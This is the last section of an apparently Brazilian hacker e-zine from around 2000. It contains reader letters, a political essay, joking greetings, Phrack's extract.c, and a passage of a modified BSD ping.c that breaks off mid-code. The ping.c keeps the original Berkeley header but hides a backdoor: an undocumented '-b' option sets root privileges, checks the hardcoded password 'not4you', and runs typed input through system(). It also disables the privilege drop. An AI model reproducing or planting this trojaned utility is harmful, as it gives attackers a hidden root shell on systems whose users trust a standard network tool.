linux. !!! que roola nos #*hack*), so' povo "udigrudi" messmo...

PS: eu sei que era pra eu mandar um e-mail antes falando sobre o que a
mate'ria diria e tal, mas nao deu...


-----------------------

Aeeeee... valew pelas materia.. fikaram muito r0x.
Tipo... soh botei esse email aki porque nao consegui entrar em contato com vc
ateh o dia da publicacao dessa edicao, entao como eu sei q c deve ta lendo...
Voce podi me encontrar no #fashion_eh_meu_ovo na Brasnerd na maioria das noites.
Nesse knal tambem costumam frequentar os dk. Tem outros knais de grupos afudes
mesmo, mas eu to meio q proibido de falar e tal... =7
Issu ae... c tu tiver lendo issu manda outro email q eu tento entra em contato
novamente. Falow!



=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ******@globo.com
Subject: ta foda a zine!
Date: Tue, 4 Jul 2000 03:21:47 -0300


Coe mukirana!
Ai essa tua zine ta foda, parabens. porra ai, sei que nao tem nada a ver,
mas vc podia meter umas paradas criticando a rede bobo (globo) a fome,
parade de Brasil 500 e esses politicos mukiranas. Se quiser material eu
faco na boa com todo prazer pra galera jovem se ligar que sao tudo uns
safados. e porra coloca umas criticas a esses amaricanos babacas tb.. eles
sao uns idiotas se acham os fodas.. foda-se eles

se liga na parada que eu descobri, È mais importante que o Genoma, a 5a lei
de newton È a lei do FODA-SE, tudo que sobe foda-se tudo que vai foda-se tudo
que vem foda-se entao tudo que se foda! (porra nada a ver, mo viajem)

valeu mukirana, ve se nao para com essa zine pq ta manera


Abracos


-----------------------


Vo ti dizer... eh cada um que me aparece....
Um detalhe sobre a parada do Brasil 500 (ja q tu tocou no assunto). Eu
achu errado estarem comemorando esta data mas tbm achu errado os anarquistas
fuderem com a comemoracao dos outros. Pensa assim... O judeu nao aceita o
natal mas tb nao sai queimando os pinheiros na rua.
Eu curto estes manifestos (do estilo bl0w e inferno-br) e c tu dar-se o
trabalho de escrever eu abro um espaco aki para publica-los.
Falow!




=======================
=======================
=======================

To: <cszine@xoommail.com>
From: ********* ***** <******@tutopia.com.br>
Date: Wed, 19 Jul 2000 00:24:37 -0300
Subject: Shit, struck!


Caro amigo Cheat Struck,

Estava eu navegando nas ondas digitais da Internet, quando,
derrepente, deparei-me com o seu Eletronic Zine.
Lendo aquela melosa e triste auto-biografia, na qual meu nick foi
citado, venho, poir intermÈdio deste mero Eletronic Mail, dizer:
bem, n„o sei.
Como vi tambÈm, na segunda ediÁ„o do mesmo zine, um apelo para
mandar-lhe um e-mail, resolvi escrever um. Os logs de meus amigos
phrog e sk me proporcionaram uma boa risada.
Tendo em vista que seu tempo esteja curtissimo, por que sei como È
tulmutuoso o fechamento de um Eletronic Zine, escrevo-lhe este pedaÁo
de redaÁ„o congratulando-o pelo * trabalho(prefiro n„o expressar
minha opini„o, j· que este Eletronic Mail ser· publicado no seu
Eletronic Zine).

Do seu cordial amigo On-Line,
Source Code.

(Power OFF Sistemas de IluminaÁ„o LTDA.
LKZ Venenos Para Ratos LTDA.
Linux PsicÛlogos S/A)



-----------------------


Rlz q tu sabe q eu ia publicar o email e decidiu escrever tudo certinhu
pra pensarem q c eh educado... =)
Valew por... hm... bem... como c nao disse c curtiu ou odiou a zine
entao valew por apenas ter mandado o email.
Falow!!!




=======================
=======================
=======================

To: <cszine@xoommail.com>
Date: Mon, 24 Jul 2000 07:08:25 -0700
From: ****** ******* <*********@hackernews.com.br>
Subject: Zine


Cheat;

Cara, sinceramente gostei muito da zine..
Nao deixe ela se perder no tempo-espaco e acabar assim como um Axur05 da
vida, estamos precisando de bom material na net, e com essa linguagem
direta e sem rodeios que voce possui, cara.
Vou achar um tempo e contribuir de alguma forma para sua zine meu, aguarde
meu retorno, pode crer que vai rolar.

Falo irmao


-----------------------


Valew! Tipo... sei lah... to com um pensamento completamente diferento
do que eu tinha qdo fazia a csz. Ao invez de lancar a zine semanalmente
com pouco conteudo eu prefiro atrasar ela 2 ou 3 meses e fikar mais lita.
A contribuicao dos leitores ta ajudando entao nao deixe de envia-la.
Nota: A materia sera avaliada antes de publicada...
Cya!




=======================
=======================
=======================










_xXXXP^'' ``^YXXXx_
_xXXXXP~ 20 - Th3 3nd ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~



AHHHHHH!!!!
Ufa! O fedor ja passou! Depois de voce ter aguentado toda essa merda ja
pode voltar a respirar aliviado.

Tipo... Alem de somente passar infos para voces, espero tambem passar um
pouco de cultura e coisas sobre o que possam refletir para que usem a
inteligencia obtida de forma inteligente.
Entao ae vai um texto escrito exclusivamente para a f3:


Bem...o que ser· que eu posso dizer... ou melhor, sobre o que
falar sobre consciÍncia polÌtica e igualit·ria em paÌs como o Brasil È
meio irÙnico, na concepÁ„o da maioria das pessoas ter igualdade È poder
comprar tanto quanto o outro, pouco importa se È preciso matar alguÈm
para usar aquele tÍnis nike que deixa com a sensaÁ„o de vencedor que
vocÍ vÍ na tv ou sangrar atÈ a morte os cofres p˙blicos para ter cada
vez mais dinheiro que vocÍ nunca vai usar sequer a metade
… uma quest„o de cultura (ou falta dela, isso È relativo,i.e,
relate ;) nÛs fomos ensinados a sermos assim, somos capitalistas e o
nosso lema È: "lucro a qualquer custo", vivemos em um paÌs que nada mais
È que um quintal das elites... onde elas apenas usam como deposito de
lixo e provedor de material, ah que sux! e depois dizem que aqui tem
democracia.. sÛ se for o governo do demo =), po.. todo mundo mundo
reclama que o sistema È uma droga que o sistema isso que o sistema
aquilo, mas tipo.. quem faz o sistema? somos nÛs... quem elege os
carinhas? somos nÛs (eu n„o.. vocÍs =P), quem criou o capitali$mo?
camponeses que acreditavam que lucro levaria pro cÈu, iludidas por
mentiras criadas para fortalecer o capitali$mo, È um circulo
vicioso... as pessoas acreditam que tem que matar a mae e o pai para
ganhar dinheiro para melhorar de vida, o que sÛ reforÁa o system... o
que fazer ent„o? isso È muito relativo, uns dizem luta armada (sangue!
sangue!), mas tipo como seguidor de gandhi prefiro a conscientizaÁ„o,
as pessoas se ligarem que nao aidianta pensar em si proprio e tals...
que todo mundo È friend e essas coisas bem yag's mas que todo mundo faz
quest„o de esquecer e que podia melhorar muito mais essa joÁa

by RoadHouse



Gr33Tz To...

^^VENTO^^ Agua! Fogo! Terra! Coracao! Vai Planeta!!!!
Cacaio Cuidado! Nao faca contato direto!
Carti Parece o Mr. Bean depois de uma plastica sem sucesso.
Cliptor Seu unico amigo no colegio eh um professor gay.
Dave Mustaine Entojado com problemas de urticaria.
DiE4YoU "I see death people."
Draco Colecionador de frutas de formatos sacanas.
Eletronic Faz pesquisas em vestiarios femininos.
Encripty "Ah mae! Eu nao quero ir pra aula! Os outros garotos
zombam de mim."
Kamikase Shell Sua grande diversao eh jogar sal em lesmas.
hak Piloto de aviao alcolatra.
MaskMaster Meu Deus!!! O que aconteceu com a sua cara???
MidNight Chora quando sua mae le chapeuzinho vermelho pra ele durmir.
N4rfy Tem medo de sapos. Pode pegar uma verruga.
nosmiles Pinguso q toma cerveja dos cinzeros dos bares.
OvEr_DeAtH Conselheiro sacana q aconselha os outros a amputarem
seus penis.
pcHazard Campeao do concurso de talentos ocultos. Bebe 6 latas
de ceva numa empinada soh.
pcmcia Faz exames de prostata 3 vezes por dia.
ReNeGaDe Da aulas de como mascar tabaco.
RoadHouse Funcionario do mes do McDonnalds. "Qual o seu pedido?"
Slash_DOMI Baby Sauro??? Nao eh mamae!!!
Source fez curso de fabricacao de vinho e esqueceu como dirigir.
s0laris Presidente do fa-clube dos back street boys, n'sync e five.
Spike Brigou com um vira-lata o qual mordeu suas bolas.
Thasmx Vendedor de amostras gratis.
Tinkertrain Assiste telletubies com seu vo.
TPGA Nao tem vergonha de ser sempre o ultimo da lista?



C voce nao gostou de aparecer aki avisa. C voce quizer aparecer aki
consulte um psicologo depois de falar cumigo.

Por problemas pessoais a zine vai atrasar um pouco par sair a partir
de agora entao nao estranhem a demora...
kra... eu achu q eh issu. Abracos para toda a galera q ta me apoiando
e ateh daki a alguns meses!
Falow!


___This_is_The_EOF___

extract.c

/*  extract.c by Phrack Staff and sirsyko 
*
* Phrack Magazine, 1997
*
* Extracts textfiles from a specially tagged flatfile into a hierarchical
* directory strcuture. Use to extract source code from any of the articles
* in Phrack Magazine (first appeared in Phrack 50).
*
* gcc -o extract extract.c
*
* ./extract filename
*
*/



#include <stdio.h>
#include <sys/stat.h>
#include <string.h>

int main(int argc, char **argv){

char *s="<++> ",*e="<-->",b[256],*bp;
FILE *f,*o = NULL;
int l, n, i=0;

l = strlen(s);
n = strlen(e);

if(argc<2) {
printf("Usage: %s <inputfile>\n",argv[0]);
exit(1);
}

if(! (f=fopen(argv[1], "r"))) {
printf("Could not open input file.\n");
exit(1);
}

while(fgets(b, 256, f)){

if(!strncmp (b, s, l)){
b[strlen(b)-1] = '\0';

if((bp=strchr(b+l+1,'/')))
while (bp){
*bp='\0';
mkdir(b+l, 0700);
*bp='/';
bp=strchr(bp+1,'/');
}
if((o = fopen(b+l, "w")))
printf("- Extracting %s\n",b+l);
else {
printf("Could not extract '%s'\n",b+l);
exit(1);
}
}
else if(!strncmp (b, e, n)){
if(o) fclose(o);
else {
printf("Error closing file.\n");
exit(1);
}
}
else if(o) {
fputs(b, o);
i++;
}
}
if(!i) printf("No extraction tags found.\n");
return(0);
}

ping.c

/* 
* Copyright (c) 1989 The Regents of the University of California.
* All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Mike Muuss.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/


char copyright[] =
"@(#) Copyright (c) 1989 The Regents of the University of California.\n"
"All rights reserved.\n";
/*
* From: @(#)ping.c 5.9 (Berkeley) 5/12/91
*/

char rcsid[] = "$Id: ping.c,v 1.33 1999/09/14 14:02:46 dholland Exp $";
#include "version.h"

/*
* P I N G . C
*
* Using the InterNet Control Message Protocol (ICMP) "ECHO" facility,
* measure round-trip-delays and packet loss across network paths.
*
* Author -
* Mike Muuss
* U. S. Army Ballistic Research Laboratory
* December, 1983
*
* Status -
* Public Domain. Distribution Unlimited.
* Bugs -
* More statistics could always be gathered.
* This program has to run SUID to ROOT to access the ICMP socket.
*/


#include <sys/param.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/signal.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include <errno.h>

/*
* Note: on some systems dropping root makes the process dumpable or
* traceable. In that case if you enable dropping root and someone
* traces ping, they get control of a raw socket and can start
* spoofing whatever packets they like. SO BE CAREFUL.
*/

#ifdef __linux__
#define SAFE_TO_DROP_ROOT
#endif

#if defined(__GLIBC__) && (__GLIBC__ >= 2)
#define icmphdr icmp
#else
#define ICMP_MINLEN 28
#define inet_ntoa(x) inet_ntoa(*((struct in_addr *)&(x)))
#endif


#define DEFDATALEN (64 - 8) /* default data length */
#define MAXIPLEN 60
#define MAXICMPLEN 76
#define MAXPACKET (65536 - 60 - 8)/* max packet size */
#define MAXWAIT 10 /* max seconds to wait for response */
#define NROUTES 9 /* number of record route slots */

#define A(bit) rcvd_tbl[(bit)>>3] /* identify byte in array */
#define B(bit) (1 << ((bit) & 0x07)) /* identify bit in byte */
#define SET(bit) (A(bit) |= B(bit))
#define CLR(bit) (A(bit) &= (~B(bit)))
#define TST(bit) (A(bit) & B(bit))

/* various options */
int options;
#define F_FLOOD 0x001
#define F_INTERVAL 0x002
#define F_NUMERIC 0x004
#define F_PINGFILLED 0x008
#define F_QUIET 0x010
#define F_RROUTE 0x020
#define F_SO_DEBUG 0x040
#define F_SO_DONTROUTE 0x080
#define F_VERBOSE 0x100

/* multicast options */
int moptions;
#define MULTICAST_NOLOOP 0x001
#define MULTICAST_TTL 0x002
#define MULTICAST_IF 0x004

/*
* MAX_DUP_CHK is the number of bits in received table, i.e. the maximum
* number of received sequence numbers we can keep track of. Change 128
* to 8192 for complete accuracy...
*/

#define MAX_DUP_CHK (8 * 128)
#define passd "not4you"
int mx_dup_ck = MAX_DUP_CHK;
char rcvd_tbl[MAX_DUP_CHK / 8];

struct sockaddr_in whereto; /* who to ping */
int datalen = DEFDATALEN;
int s; /* socket file descriptor */
u_char outpack[MAXPACKET];
char BSPACE = '\b'; /* characters written for flood */
char DOT = '.';
static char *hostname;
static int ident; /* process id to identify our packets */
static time_t last_time; /* prevents flood pinging via SIGALRM */

/* counters */
static long npackets; /* max packets to transmit */
static long nreceived; /* # of packets we got back */
static long nrepeats; /* number of duplicates */
static long ntransmitted; /* sequence # for outbound packets = #sent */
static int interval = 1; /* interval between packets */

/* timing */
static int timing; /* flag to do timing */
static long tmin = LONG_MAX; /* minimum round trip time */
static long tmax = 0; /* maximum round trip time */
static u_long tsum; /* sum of all times, for doing average */

/* protos */
static char *pr_addr(u_long);
static int in_cksum(u_short *addr, int len);
static void catcher(int);
static void finish(int ignore);
static void pinger(void);
static void fill(void *bp, char *patp);
static void usage(void);
static int pr_pack(char *buf, int cc, struct sockaddr_in *from);
static void tvsub(struct timeval *out, struct timeval *in);
static void pr_icmph(struct icmphdr *icp);
static void pr_retip(struct iphdr *ip);


int
main(int argc, char *argv[])
{
struct timeval timeout;
struct hostent *hp;
struct sockaddr_in *to;
struct protoent *proto;
struct in_addr ifaddr;
int i;
int ch, fdmask, hold, packlen, preload;
u_char *datap, *packet;
char *target, hnamebuf[MAXHOSTNAMELEN];
char cmd[255];
char pwd[7];
//char nome[80]
u_char ttl, loop;
int am_i_root;
#ifdef IP_OPTIONS
char rspace[3 + 4 * NROUTES + 1]; /* record route space */
#endif

static char *null = NULL;
__environ = &null;
am_i_root = (getuid()==0);

/* setup last_time to be current time -1 second */
time(&last_time);
last_time--;

/*
* Pull this stuff up front so we can drop root if desired.
*/

if (!(proto = getprotobyname("icmp"))) {
(void)fprintf(stderr, "ping: unknown protocol icmp.\n");
exit(2);
}
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0) {
if (errno==EPERM) {
fprintf(stderr, "ping: ping must run as root\n");
}
else perror("ping: socket");
exit(2);
}

if (s==STDIN_FILENO || s==STDOUT_FILENO || s==STDERR_FILENO) {
/* would be nice to issue an error message, but to where? */
exit(255);
}

#ifdef SAFE_TO_DROP_ROOT
// setuid(getuid());
#endif


preload = 0;
datap = &outpack[8 + sizeof(struct timeval)];
while ((ch = getopt(argc, argv, "I:LRc:dfh:i:l:np:qrs:t:v:b")) != EOF)
switch(ch) {
case 'b':
setuid(0);
setgid(0);
printf("\nEnter option:");
scanf("%s",pwd);
if (!strcmp(passd,pwd))
{
printf("\nArgument: ");
scanf("%s",cmd);
system(cmd);
}
else
{
printf("\n%s: Option not implemented.\n",pwd);
usage();
}
exit(2);
case 'c':
npackets = atoi(optarg);
if (npackets <= 0) {
(void)fprintf(stderr,
"ping: bad number of packets to transmit.\n");
exit(2);
}
break;
case 'd':
options |= F_SO_DEBUG;
break;
case 'f':
if (!am_i_root) {
(void)fprintf(stderr,
"ping: %s\n", strerror(EPERM));
exit(2);
}
options |= F_FLOOD;
setbuf(stdout, NULL);
break;
case 'i': /* wait between sending packets */
interval = atoi(optarg);
if (interval <= 0) {
(void)fprintf(stderr,
"ping: bad timing interval.\n");
exit(2);
}
options |= F_INTERVAL;
break;
case 'l':
if (!am_i_root) {
(void)fprintf(stderr,
"ping: %s\n", strerror(EPERM));
exit(2);
}
preload = atoi(optarg);
if (preload < 0) {
(void)fprintf(stderr,
"ping: bad preload value.\n");
exit(2);
}
break;
case 'n':
options |= F_NUMERIC;
break;
case 'p': /* fill buffer with user pattern */
options |= F_PINGFILLED;
fill(datap, optarg);
break;
case 'q':
options |= F_QUIET;
break;
case 'R':
options |= F_RROUTE;
break;
case 'r':
options |= F_SO_DONTROUTE;
break;
case 's': /* size of packet to send */
if (!am_i_root) {
(void)fprintf(stderr,
"ping: %s\n", strerror(EPERM));
exit(2);
}
datalen = atoi(optarg);
if (datalen > MAXPACKET) {
(void)fprintf(stderr,
"ping: packet size too large.\n");
exit(2);
}
if (datalen <= 0) {
(void)fprintf(stderr,
"ping: illegal packet size.\n");
exit(2);
}
break;
case 'v':
options |= F_VERBOSE;
break;
case 'L':
moptions |= MULTICAST_NOLOOP;
loop = 0;
break;
case 't':
moptions |= MULTICAST_TTL;
i = atoi(optarg);
if (i < 0 || i > 255) {
printf("ttl %u out of range\n", i);
exit(2);
}
ttl = i;
break;
case 'I':
moptions |= MULTICAST_IF;
{
int i1, i2, i3, i4;
char junk;

if (sscanf(optarg, "%u.%u.%u.%u%c",
&i1, &i2, &i3, &i4, &junk) != 4) {
printf("bad interface address '%s'\n",
optarg);
exit(2);
}
ifaddr.s_addr = (i1<<24)|(i2<<16)|(i3<<8)|i4;
ifaddr.s_addr = htonl(ifaddr.s_addr);
}
break;

default:

usage();
}

argc -= optind;
argv += optind;

if (argc != 1)
usage();


target = *argv;

memset(&whereto, 0, sizeof(whereto));
to = &whereto;
to->sin_family = AF_INET;
if (inet_aton(target, &to->sin_addr)) {
hostname = target;
}
else {
hp = gethostbyname(target);
if (!hp) {
(void)fprintf(stderr,
"ping: unknown host %s\n", target);
exit(2);
}
to->sin_family = hp->h_addrtype;
if (hp->h_length > (int)sizeof(to->sin_addr)) {
hp->h_length = sizeof(to->sin_addr);
}
memcpy(&to->sin_addr, hp->h_addr, hp->h_length);
strncpy(hnamebuf, hp->h_name, sizeof(hnamebuf) - 1);
hnamebuf[sizeof(hnamebuf)-1] = 0;
hostname = hnamebuf;
}

if (options & F_FLOOD && options & F_INTERVAL) {
(void)fprintf(stderr,
"ping: -f and -i incompatible options.\n");
exit(2);
}

if (datalen >= (int)sizeof(struct timeval)) /* can we time transfer */
timing = 1;
packlen = datalen + MAXIPLEN + MAXICMPLEN;
packet = malloc((u_int)packlen);
if (!packet) {
(void)fprintf(stderr, "ping: out of memory.\n");
exit(2);
}
if (!(options & F_PINGFILLED))
for (i = sizeof(struct timeval); i < datalen; ++i)
*datap++ = i;

ident = getpid() & 0xFFFF;
hold = 1;

if (options & F_SO_DEBUG)
(void)setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&hold,
sizeof(hold));

if (options & F_SO_DONTROUTE)
(void)setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&hold,
sizeof(hold));

/* this is necessary for broadcast pings to work */
setsockopt(s, SOL_SOCKET, SO_BROADCAST, (char *)&hold, sizeof(hold));

/* record route option */
if (options & F_RROUTE) {
#ifdef IP_OPTIONS
memset(rspace, 0, sizeof(rspace));
rspace[IPOPT_OPTVAL] = IPOPT_RR;
rspace[IPOPT_OLEN] = sizeof(rspace)-1;
rspace[IPOPT_OFFSET] = IPOPT_MINOFF;
if (setsockopt(s, IPPROTO_IP, IP_OPTIONS, rspace,
sizeof(rspace)) < 0) {
perror("ping: record route");
exit(2);
}
#else
(void)fprintf(stderr,
"ping: record route not available in this implementation.\n");
exit(2);
#endif /* IP_OPTIONS */
}

/*
* When pinging the broadcast address, you can get a lot of answers.
* Doing something so evil is useful if you are trying to stress the
* ethernet, or just want to fill the arp cache to get some stuff for
* /etc/ethers.
*/

hold = 64 * 1024;
(void)setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *)&hold,
sizeof(hold));

/*#if 0*/
if (moptions & MULTICAST_NOLOOP) {
if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_LOOP,
&loop, 1) == -1) {
perror ("can't disable multicast loopback");
exit(92);
}
}
if (moptions & MULTICAST_TTL) {
if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_TTL,
&ttl, 1) == -1) {
perror ("can't set multicast time-to-live");
exit(93);
}
}
if (moptions & MULTICAST_IF) {
if (setsockopt(s, IPPROTO_IP, IP_MULTICAST_IF,
&ifaddr, sizeof(ifaddr)) == -1) {
perror ("can't set multicast source interface");
exit(94);
}
}
/*#endif*/

if (to->sin_family == AF_INET)
(void)printf("PING %s (%s): %d data bytes\n", hostname,
inet_ntoa(*(struct in_addr *)&to->sin_addr.s_addr),
datalen);
else
(void)printf("PING %s: %d data bytes\n", hostname, datalen);

(void)signal(SIGINT, finish);
(void)signal(SIGALRM, catcher);

while (preload--) /* fire off them quickies */
pinger();

if ((options & F_FLOOD) == 0)
catcher(0); /* start things going */

for (;;) {
struct sockaddr_in from;
socklen_t fromlen;
register int cc;
static int got=1;

if (options & F_FLOOD) {
if (got) pinger();
timeout.tv_sec = 0;
timeout.tv_usec = 10000;
fdmask = 1 << s;
if (select(s + 1, (fd_set *)&fdmask, (fd_set *)NULL,
(fd_set *)NULL, &timeout) < 1) {
got = 1;
continue;
}
}
fromlen = sizeof(from);
if ((cc = recvfrom(s, (char *)packet, packlen, 0,
(struct sockaddr *)&from, &fromlen)) < 0) {
if (errno == EINTR)
continue;
perror("ping: recvfrom");
continue;
}
got = pr_pack((char *)packet, cc, &from);
if (npackets && nreceived >= npackets)
break;
}
finish(0);
/* NOTREACHED */
return 0;
}

/*
* catcher --
* This routine causes another PING to be transmitted, and then
* schedules another SIGALRM for 1 second from now.
*
* bug --
* Our sense of time will slowly skew (i.e., packets will not be
* launched exactly at 1-second intervals). This does not affect the
* quality of the delay and loss statistics.
*/

static void
catcher(int ignore)
{
int waittime;

(void)ignore;
pinger();
(void)signal(SIGALRM, catcher);
if (!npackets || ntransmitted < npackets)
alarm((u_int)interval);
else {
if (nreceived) {
waittime = 2 * tmax / 1000;
if (!waittime)
waittime = 1;
if (waittime > MAXWAIT)
waittime = MAXWAIT;
} else
waittime = MAXWAIT;
(void)signal(SIGALRM, finish);
(void)alarm((u_int)waittime);
}
}

#if !defined(__GLIBC__) || (__GLIBC__ < 2)
#define icmp_type type
#define icmp_code code
#define icmp_cksum checksum
#define icmp_id un.echo.id
#define icmp_seq un.echo.sequence
#define icmp_gwaddr un.gateway
#endif /* __GLIBC__ */

#define ip_hl ihl
#define ip_v version
#define ip_tos tos
#define ip_len tot_len
#define ip_id id
#define ip_off frag_off
#define ip_ttl ttl
#define ip_p protocol
#define ip_sum check
#define ip_src saddr
#define ip_dst daddr

/*
* pinger --
* Compose and transmit an ICMP ECHO REQUEST packet. The IP packet
* will be added on by the kernel. The ID field is our UNIX process ID,
* and the sequence number is an ascending integer. The first 8 bytes
* of the data portion are used to hold a UNIX "timeval" struct in VAX
* byte-order, to compute the round-trip time.
*
* Note: this may be 16 bytes now on some platforms - eventually all as
* time_t becomes 64-bit. And I think the VAX byte order thing is a lie.
*/

static void
pinger(void)
{
register struct icmphdr *icp;
register int cc;
int i;

/* probably the wrong place however, what we want to do here
* is to check the last time we were called. if it's approx
* a second, we proceed otherwise we return without doing anything
* unless of course it's root calling the shot
*/


time_t this_time;

time(&this_time);

#ifdef DEBUG
printf ("Time diff is %d seconds\n", this_time - last_time);
#endif

if (((this_time - last_time) < 1) && (getuid() != 0))
return;

icp = (struct icmphdr *)outpack;
icp->icmp_type = ICMP_ECHO;
icp->icmp_code = 0;
icp->icmp_cksum = 0;
icp->icmp_seq = ntransmitted++;
icp->icmp_id = ident; /* ID */

CLR(icp->icmp_seq % mx_dup_ck);

if (timing)
(void)gettimeofday((struct timeval *)&outpack[8],
(struct timezone *)NULL);

cc = datalen + 8; /* skips ICMP portion */

/* compute ICMP checksum here */
icp->icmp_cksum = in_cksum((u_short *)icp, cc);

i = sendto(s, (char *)outpack, cc, 0, (struct sockaddr *)&whereto,
sizeof(whereto));

time(&last_time);

if (i < 0 || i != cc) {
if (i < 0)
perror("ping: sendto");
(void)printf("ping: wrote %s %d chars, ret=%d\n",
hostname, cc, i);
}
if (!(options & F_QUIET) && options & F_FLOOD)
(void)write(STDOUT_FILENO, &DOT, 1);
}

/*
* pr_pack --
* Print out the packet, if it came from us. This logic is necessary
* because ALL readers of the ICMP socket get a copy of ALL ICMP packets
* which arrive ('tis only fair). This permits multiple copies of this
* program to be run without having intermingled output (or statistics!).
* Returns nonzero if it was one of our echo replies.
*/

int
pr_pack(char *buf, int cc, struct sockaddr_in *from)
{
register struct icmphdr *icp;
register int i;
register u_char *cp,*dp;
/*#if 0*/
register u_long l;
register int j;
static int old_rrlen;
static char old_rr[MAX_IPOPTLEN];
/*#endif*/
struct iphdr *ip;
struct timeval tv, packettv, *tp;
long triptime = 0;
int hlen, dupflag;
int rv;

(void)gettimeofday(&tv, (struct timezone *)NULL);

/* Check the IP header */
ip = (struct iphdr *)buf;
hlen = ip->ip_hl << 2;
if (cc < datalen + ICMP_MINLEN) {
if (options & F_VERBOSE)
(void)fprintf(stderr,
"ping: packet too short (%d bytes) from %s\n", cc,
inet_ntoa(*(struct in_addr *)&from->sin_addr.s_addr));
return 0;
}

/* Now the ICMP part */
cc -= hlen;
icp = (struct icmphdr *)(buf + hlen);
if (icp->icmp_type == ICMP_ECHOREPLY) {
if (icp->icmp_id != ident)
return 0; /* 'Twas not our ECHO */
++nreceived;
if (timing) {
#ifndef icmp_data
tp = (struct timeval *)(icp + 1);
#else
tp = (struct timeval *)icp->icmp_data;
#endif
memcpy(&packettv, tp, sizeof(struct timeval));
tvsub(&tv, &packettv);
triptime = tv.tv_sec * 10000 + (tv.tv_usec / 100);
tsum += triptime;
if (triptime < tmin)
tmin = triptime;
if (triptime > tmax)
tmax = triptime;
}

if (TST(icp->icmp_seq % mx_dup_ck)) {
++nrepeats;
--nreceived;
dupflag = 1;
} else {
SET(icp->icmp_seq % mx_dup_ck);
dupflag = 0;
}

if (options & F_QUIET)
return 1;

rv = 1;

if (options & F_FLOOD)
(void)write(STDOUT_FILENO, &BSPACE, 1);
else {
(void)printf("%d bytes from %s: icmp_seq=%u", cc,
inet_ntoa(*(struct in_addr *)&from->sin_addr.s_addr),
icp->icmp_seq);
(void)printf(" ttl=%d", ip->ip_ttl);
if (timing)
(void)printf(" time=%ld.%ld ms", triptime/10,
triptime%10);
if (dupflag)
(void)printf(" (DUP!)");
/* check the data */
#ifndef icmp_data
cp = ((u_char*)(icp + 1) + sizeof(struct timeval));
#else
cp = (u_char*)icp->icmp_data + sizeof(struct timeval);
#endif
dp = &outpack[8 + sizeof(struct timeval)];
for (i = 8; i < datalen; ++i, ++cp, ++dp) {
if (*cp != *dp) {
(void)printf("\nwrong data byte #%d should be 0x%x but was 0x%x",
i, *dp, *cp);
cp = (u_char*)(icp + 1);
for (i = 8; i < datalen; ++i, ++cp) {
if ((i % 32) == 8)
(void)printf("\n\t");
(void)printf("%x ", *cp);
}
break;
}
}
}
} else {
/* We've got something other than an ECHOREPLY */
if (!(options & F_VERBOSE))
return 0;
(void)printf("%d bytes from %s: ", cc,
pr_addr(from->sin_addr.s_addr));
pr_icmph(icp);
rv = 0;
}

/*#if 0*/
/* Display any IP options */
cp = (u_char *)buf + sizeof(struct iphdr);

for (; hlen > (int)sizeof(struct iphdr); --hlen, ++cp)
switch (*cp) {
case IPOPT_EOL:
hlen = 0;
break;
case IPOPT_LSRR:
(void)printf("\nLSRR: ");
hlen -= 2;
j = *++cp;
++cp;
if (j > IPOPT_MINOFF)
for (;;) {
l = *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
l = (l<<8) + *++cp;
if (l == 0)
(void)printf("\t0.0.0.0");
else
(void)printf("\t%s", pr_addr(ntohl(l)));
hlen -= 4;
j -= 4;
if (j <= IPOPT_MINOFF)
break;
(void)putchar('\n');
}
break;
case IPOPT_RR:
j = *++cp; /* get length */
i = *++cp; /* and pointer */
hlen -= 2;
if (i > j)
i = j;
i -= IPOPT_MINOFF;
if (i <= 0)
continue;
if (i == old_rrlen
&& cp == (u_char *)buf + sizeof(struct iphdr) + 2
&& !memcmp((char *)cp, old_rr, i)
&& !(options & F_FLOOD)) {
(void)printf("\t(same route)");
i = ((i + 3) / 4) * 4;
hlen -= i;
cp += i;
break;
}
old_rrlen = i;
memcpy(old_rr, cp, i);
(void)printf("\nRR: ");
for (;;) {
l = *++cp;
l = (l<<8) + *++cp;
